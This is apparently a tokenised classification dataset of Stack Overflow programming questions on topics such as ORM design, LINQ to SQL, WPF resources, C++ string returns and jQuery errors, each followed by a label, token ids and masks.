Single Table Inheritance === An answer to a [question of mine on DB design][1] suggested something called single table inheritance. I've done a bit of searching on that, but I can't seem to find that much clear information on it. Basically what I seem to understand from it is that you have a big table with all the fields in it and also a type field - and then your ORM layer uses the type field to give you different object views. Is that correct? More importantly, is single table inheritance an 'approved' database design technique? By that I mean is it 'sensible' to use it? Is it also safe to use it, or does it cause problems? The other issue is how well this works in rails? I've found a few references to it from rails - but does it cause problems by doing things the non-conventional way? Any help much appreciated. [1]: http://stackoverflow.com/questions/200394/one-table-or-many
0
[ 2, 345, 859, 13852, 800, 3726, 3726, 40, 1623, 20, 21, 636, 24652, 16, 1114, 27, 13, 9007, 704, 500, 2558, 165, 500, 2347, 301, 227, 345, 859, 13852, 9, 31, 22, 195, 677, 21, 1142, 16, 5792, 27, 30, 15, 47, 31, 92, 22, 38, 2...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Linq to SQL - prevent inserting new records into tables === When creating a new object that is mapped to one of my SQL Server tables, LINQ inserts a new record into the table when i call SubmitChanges. I want to prevent this, but still need my new object. I know about the custom methods, but is there anyway to disable this behaviour so that it just updates existing records and never inserts new records, regardless of if I've called `MyTableClass myObject = new MyTableClass()` or not. Thanks.
0
[ 2, 6294, 1251, 20, 4444, 255, 13, 8, 2501, 14692, 68, 78, 742, 77, 7484, 800, 3726, 3726, 76, 2936, 21, 78, 3095, 30, 25, 20877, 20, 53, 16, 51, 4444, 255, 8128, 7484, 15, 6294, 1251, 14692, 18, 21, 78, 571, 77, 14, 859, 76, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Memory leak in .NETCF - creating dynamic controls? === I have a problem with a memory leak in a .NET CF application. Using <a href="http://blogs.msdn.com/stevenpr/archive/2006/04/17/577636.aspx">RPM</a> I identified that dynamically creating controls are not garbage collected as expected. Running the same piece of code in .NET Window Forms behave differently and disposes the control as I expected. See the output from RPM via PerfMon for the ***Process Heap*** counter: <br/> ![alt text][1] GC Heap:<br/> ![alt text][2] My best guess is that the Weak Reference to the Panel is for some unknown reason not making the object eligible for GC, can it be? **Please note:** Even though **Dispose()** solves the problem for the sample, I can't easily incorporate it into the existing application as it is not as clear cut to determine when the object is no longer in use. I have included a simplified version of the source to illustrate the problem: using System; using System.Windows.Forms; namespace CFMemTest { public partial class Form1 : Form { public Form1() { InitializeComponent(); } // Calling this event handler multiple times causes the memory leak private void Button1_Click(object sender, EventArgs e) { Panel uc = new Panel(); // Calling uc.Dispose() cleans up the object } } } [1]: http://i462.photobucket.com/albums/qq346/pfourie/ScreenShot191.jpg [2]: http://i462.photobucket.com/albums/qq346/pfourie/ScreenShot190a.jpg
0
[ 2, 1912, 11724, 19, 13, 9, 2328, 8940, 13, 8, 2936, 7782, 8671, 60, 800, 3726, 3726, 31, 57, 21, 1448, 29, 21, 1912, 11724, 19, 21, 13, 9, 2328, 10084, 3010, 9, 568, 13, 1, 58, 746, 14057, 3726, 7, 21127, 6903, 7091, 5447, 9, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Is there a DBGrid component that can handle large datasets fast? === Large datasets, millions of records, need special programming to maintain speed in DBGrids. I want to know if there are any ready-made components for Delphi (DBGrids) that does this automaitically?
0
[ 2, 25, 80, 21, 13, 9007, 16375, 5912, 30, 92, 3053, 370, 1054, 3554, 18, 1512, 60, 800, 3726, 3726, 370, 1054, 3554, 18, 15, 11999, 16, 742, 15, 376, 621, 3143, 20, 4027, 1362, 19, 13, 9007, 16375, 18, 9, 31, 259, 20, 143, 100...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Access control via an SQL table === I'm trying to create an access control system. Here's a stripped down example of what the table I'm trying to control access to looks like: things table: id group_id name 1 1 thing 1 2 1 thing 2 3 1 thing 3 4 1 thing 4 5 2 thing 5 And the access control table looks like this: access table: user_id type object_id access 1 group 1 50 1 thing 1 10 1 thing 2 100 Access can be granted either by specifying the id of the 'thing' directly, or granted for an entire group of things by specifying a group id. In the above example, user 1 has been granted an access level of 50 to group 1, which should apply unless there are any other rules granting more specific access to an individual thing. I need a query that returns a list of things (ids only is okay) along with the access level for a specific user. So using the example above I'd want something like this for user id 1: desired result: thing_id access 1 10 2 100 3 50 (things 3 and 4 have no specific access rule, 4 50 so this '50' is from the group rule) 5 (thing 5 has no rules at all, so although I still want it in the output, there's no access level for it) The closest I can come up with is this: SELECT * FROM things LEFT JOIN access ON user_id = 1 AND ( (access.type = 'group' AND access.object_id = things.group_id) OR (access.type = 'thing' AND access.object_id = things.id) ) But that returns multiple rows, when I only want one for each row in the 'things' table. I'm not sure how to get down to a single row for each 'thing', or how to prioritise 'thing' rules over 'group' rules. If it helps, the database I'm using is PostgreSQL. Please feel free to leave a comment if there's any information I've missed out. Thanks in advance!
0
[ 2, 1381, 569, 1197, 40, 4444, 255, 859, 800, 3726, 3726, 31, 22, 79, 749, 20, 1600, 40, 1381, 569, 329, 9, 235, 22, 18, 21, 10841, 125, 823, 16, 98, 14, 859, 31, 22, 79, 749, 20, 569, 1381, 20, 1879, 101, 45, 564, 859, 45, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
how do I force ActiveRecord to reload a class? === I'm creating a bunch of migrations, some of which are standard "create table" or "modify table" migrations, and some of which modify data. I'm using my actual ActiveRecord models to modify the data, a la: Blog.all.each do |blog| update_some_blog_attributes_to_match_new_schema end The problem is that if I load the Blog class, then modify the table, then use the Blog class again, the models have the old table definitions, and cannot save to the new table. Is there a way to reload the classes and their attribute definitions so I can reuse them?
0
[ 2, 184, 107, 31, 558, 1348, 14953, 20, 27339, 21, 718, 60, 800, 3726, 3726, 31, 22, 79, 2936, 21, 7653, 16, 8443, 18, 15, 109, 16, 56, 50, 1236, 13, 7, 6037, 1373, 859, 7, 54, 13, 7, 13670, 8612, 859, 7, 8443, 18, 15, 17, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Tracking and debugging JS memory leaks in Firefox. === I've been trying to track this one for literally a month now without any success. I have this piece of code on an car advertising website which basically allows thumbnails to rotate in search results given that a car has multiple pictures. You can see it in action at the following: >[`http://www.abcavendre.com/4506691919/`][1] It is built on the [Mootools][3] framework. The problem is that this script, under Firefox 3, consumes a rather large amount of memory overtime when a page is full of those rotating pictures, such as this inventory page: >[`http://www.abcavendre.com/Vitrine/Israel_Huttman/`][2] You can see the source of the script in question here: >[`http://www.abcavendre.com/scripts/showcase_small.js`][4] Any ideas as to what is causing the memory leak? The weird thing is this code behaves properly under IE7. [1]: http://www.abcavendre.com/4506691919/ "Inventaire" [2]: http://www.abcavendre.com/Vitrine/Israel_Huttman/ "Inventaire" [3]: http://www.mootools.net/ "Mootools" [4]: http://www.abcavendre.com/scripts/showcase_small.js "Javascript Source"
0
[ 2, 10353, 17, 121, 16254, 2762, 487, 18, 1912, 11724, 18, 19, 535, 18219, 9, 800, 3726, 3726, 31, 22, 195, 74, 749, 20, 792, 48, 53, 26, 6949, 21, 1617, 130, 366, 186, 1280, 9, 31, 57, 48, 1855, 16, 1797, 27, 40, 349, 5620, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How to dynamically set which properties get bound to a DataGridView? === My DataGridView needs to support a number of types and these types may have any number of public properties, not all of which I want to display. Can anyone suggest a way to dynamically customise a DataGridView's columns when binding a class a datasource? Is there an attribute that will tell a control whether to use a property as a column for example? Advice appreciated.
0
[ 2, 184, 20, 7782, 1326, 309, 56, 3704, 164, 4138, 20, 21, 1054, 16375, 4725, 60, 800, 3726, 3726, 51, 1054, 16375, 4725, 2274, 20, 555, 21, 234, 16, 2551, 17, 158, 2551, 123, 57, 186, 234, 16, 317, 3704, 15, 52, 65, 16, 56, 31...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
parsing base query (à la Google Data) in Java === I have a system where I query a REST / Atom server for documents. The queries are inspired by GData and look like : http://server/base/feeds/documents?bq=[type in {'news'}] I have to parse the "bq" parameter to know which type of documents will be returned without actually doing the query. So for example, bq=[type = 'news'] -> return ["news"] bq=[type in {'news'}] -> return ["news"] bq=[type in {'news', 'article'}] -> return ["news", "article"] bq=[type = 'news']|[type = 'article'] -> return ["news", "article"] bq=[type = 'news']|[title = 'My Title'] -> return ["news"] Basically, the query language is a list of predicate that can be combined with OR ("|") or AND (no separator). Each predicate is constraint on a field. The constraint can be =, <, >, <=, >=, in, etc... There can be spaces everywhere where it make sense. I'm a bit lost between Regexp, StringTokenizer, StreamTokenizer, etc... and I am stuck with Java 1.4, so no Parser ... Who can point me in the right direction ? Thanks !
0
[ 2, 2017, 18, 68, 1000, 25597, 13, 5, 58, 333, 8144, 1054, 6, 19, 8247, 800, 3726, 3726, 31, 57, 21, 329, 113, 31, 25597, 21, 760, 13, 118, 14571, 8128, 26, 4374, 9, 14, 9386, 2829, 50, 3054, 34, 489, 18768, 17, 361, 101, 13, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Using SQL for cleaning up JIRA database === Has anyone had luck with removing large amount of issues from a jira database instead of using the frontend. Deleting 60.000 issues with the bulktools isnt really feasible. Last time i tried it, the jira went nuts because of its own way of doing indexes
0
[ 2, 568, 4444, 255, 26, 9724, 71, 487, 3517, 6018, 800, 3726, 3726, 63, 1276, 41, 5419, 29, 9096, 370, 2006, 16, 1549, 37, 21, 487, 3517, 6018, 700, 16, 568, 14, 431, 2451, 9, 121, 1336, 68, 2083, 9, 3993, 1549, 29, 14, 7238, 2...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
What's the difference between StaticResource and DynamicResource in WPF === When using resources such as brushes, templates and styles in WPF, they can be specified either as StaticResources <Rectangle Fill="{StaticResource MyBrush}" /> or as a DynamicResource <ItemsControl ItemTemplate="{DynamicResource MyItemTemplate}" /> Most of the times (always?), only one works and the other will throw exception during runtime. But I'd like to know why: - What is the main difference. Like memory or performance implications - Are there rules in WPF like "brushes are always static" and "templates are always dynamic" etc.? I **assume** the choice between Static vs Dynamic isn't as arbitrary as it seems... but I fail to see the pattern.
0
[ 2, 98, 22, 18, 14, 2841, 128, 12038, 99, 12097, 17, 7782, 99, 12097, 19, 619, 7721, 800, 3726, 3726, 76, 568, 2566, 145, 28, 25079, 15, 22894, 18, 17, 6443, 19, 619, 7721, 15, 59, 92, 44, 9931, 694, 28, 12038, 99, 12097, 18, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Cooliris fetching from google docs: === We're creating a Interaction design pattern website for a class. We've been using google docs to create the patterns list during the classes, sharing it with the teacher for evaluation. So the environment is this: - We've been able to fetch a single image from each presentation we want to display, such as: http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b - We've created an RSS feed for cooliris to open: (small example from it): <.item> <.title>e7_pattern_7.78<./title> <.link>http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b<./link> <.guid>dd2dpzk6_164zcwm3jgv_b<./guid> <.media:thumbnail url="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" /> <.media:content url="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" type="image/png" /> <./item> Sorry for the points in the middle of the tag is only for stackoverflow not to filter it. So the problem is the following, the rss works correctly, as the cooliris opens all viewports for all images. But both the thumbnail and content remain black for all the pictures. If you try to open them by the above url you can download them, with the type="image/png" if should work for piclens to open it. Anyone got a sugestion or idea why we can't access the images from google docs via cooliris ?
0
[ 2, 2700, 7054, 18, 18312, 68, 37, 8144, 9765, 18, 45, 800, 3726, 3726, 95, 22, 99, 2936, 21, 7754, 704, 3732, 2271, 26, 21, 718, 9, 95, 22, 195, 74, 568, 8144, 9765, 18, 20, 1600, 14, 6282, 968, 112, 14, 2684, 15, 6126, 32, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Persistence framework? === I'm trying to decide on the best strategy for accessing the database. I understand that this is a generic question and there's no a single good answer, but I will provide some guidelines on what I'm looking for. The last year we have been using our own persistence framework, that although limited has server as well. However it needs some major improvements and I'm wondering if I should go that way or use one of the existing frameworks. The criteria that I'm looking for, in order of importance are: 1. Client code should work with clean objects, width no database knowledge. When using our custom framework the client code looks like: SessionManager session = new SessionManager(); Order order = session.CreateEntity<Order>(); order.Date = DateTime.Now; // Set other properties OrderDetail detail = order.AddOrderDetail(); detail.Product = product; // Other properties // Commit all changes now session.Commit(); 1. Should as simple as possible and not flexible. We need a single way to do most things. 2. Should have good support for object-oriented programming. Should handle one-to-many and many-to-many relations, should handle inheritance, support for lazy loading. 3. Configuration is preferred to be XML based. With my current knowledge I see this options: 1. Improve our current framework - Problem is that it needs a good deal of effort 2. ADO.NET Entity Framework - Don't have a good understanding, but seems to complicated and has bad reviews. 3. LINQ to SQL - Does not have good handling of object-oriented practices 4. nHibernate - Seems a good option, but some users report too many archaic errors. 5. SubSonic - From a short introduction, it seems too flexible. I do not want that. What will you suggest? Thank you
0
[ 2, 28584, 6596, 60, 800, 3726, 3726, 31, 22, 79, 749, 20, 4073, 27, 14, 246, 4427, 26, 1381, 68, 14, 6018, 9, 31, 1369, 30, 48, 25, 21, 12733, 1301, 17, 80, 22, 18, 90, 21, 345, 254, 1623, 15, 47, 31, 129, 1181, 109, 12629, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Is there any Open-source iPhone applications around? === There are many sample applications around, but not many "complete" applications I can prod around. It would be interesting/useful to see a complete, working application..
0
[ 2, 25, 80, 186, 368, 8, 12097, 21024, 3767, 140, 60, 800, 3726, 3726, 80, 50, 151, 5717, 3767, 140, 15, 47, 52, 151, 13, 7, 15990, 7, 3767, 31, 92, 895, 43, 140, 9, 32, 83, 44, 4883, 118, 3699, 1566, 20, 196, 21, 1279, 15, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
Caching a const char * as a return type === Was reading up a bit on my C++, and found this article about RTTI (Runtime Type Identification): http://msdn.microsoft.com/en-us/library/70ky2y6k(VS.80).aspx . Well, that's another subject :) - However, I stumbled upon a wierd saying in the type_info-class, namely about the ::name-method. It says: "The type_info::name member function returns a const char* to a null-terminated string representing the human-readable name of the type. The memory pointed to is cached and should never be directly deallocated." How can you implement something like this yourself!? Ive been struggling quite a bit with this exact problem often before, as I don't want to make a new char-array for the caller to delete, so I've sticked to std::string thus far. So, for the sake of simplicity, let's say I want to make a method that returns "Hello World!", let's call it const char *getHelloString() const; Personally, I would make it somehow like this (Pseudo): const char *getHelloString() const { char *returnVal = new char[13]; strcpy("HelloWorld!", returnVal); return returnVal } .. But this would mean that the caller should do a delete[] on my return pointer :( Thx in advance
0
[ 2, 1658, 7192, 21, 11608, 38, 4892, 1637, 28, 21, 788, 1001, 800, 3726, 3726, 23, 1876, 71, 21, 1142, 27, 51, 272, 20512, 15, 17, 216, 48, 2002, 88, 761, 5249, 13, 5, 3169, 891, 1001, 8575, 6, 45, 7775, 6903, 79, 18, 43, 103, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
C# : How does this work : Unit myUnit = 5; === I just noticed that you can do this in C#: Unit myUnit = 5; instead of having to do this: Unit myUnit = new Unit(5); Does anyone know how I can achieve this with my own structs? I had a look at the Unit struct with reflector and noticed the TypeConverter attribute was being used, but after I created a custom TypeConverter for my struct I still couldn't get the compiler to allow this convenient syntax.
0
[ 2, 272, 5910, 13, 45, 184, 630, 48, 170, 13, 45, 1237, 51, 15464, 800, 331, 73, 800, 3726, 3726, 31, 114, 2711, 30, 42, 92, 107, 48, 19, 272, 5910, 45, 1237, 51, 15464, 800, 331, 73, 700, 16, 452, 20, 107, 48, 45, 1237, 51, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Can an Adobe AIR Application run via the command line output to console? === I have an AIR application that takes command-line arguments via onInvoke. All is good, but I cannot figure out how to print some status messages back to the user (to stdout / console, so to speak). Is it possible? Even a default log file for traces would be fine, but I can't find any info about it anywhere. Do I need to create my own log file? Now that'd be silly.
0
[ 2, 92, 40, 20299, 282, 3010, 485, 1197, 14, 1202, 293, 5196, 20, 8650, 60, 800, 3726, 3726, 31, 57, 40, 282, 3010, 30, 1384, 1202, 8, 1143, 10553, 1197, 27, 108, 2625, 1048, 9, 65, 25, 254, 15, 47, 31, 1967, 1465, 70, 184, 20,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
JQuery: Visual studio, error CS1056: Unexpected character '$' === Trying to include ThickBox (from http://jquery.com/demo/thickbox/) in an ASP.NET application. Visual Studio is failing when I try to run the application with the error: js\ThickBox\jquery-1.2.6.min.js(11): error CS1056: Unexpected character '$' Using Visual Studio 2008 and jquery 1.2.6
0
[ 2, 487, 8190, 93, 45, 3458, 1120, 15, 7019, 272, 18, 1036, 3776, 45, 9380, 925, 13, 22, 4403, 22, 800, 3726, 3726, 749, 20, 468, 2318, 5309, 13, 5, 2665, 7775, 6903, 728, 8190, 93, 9, 960, 118, 19274, 118, 38, 15477, 5309, 118, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
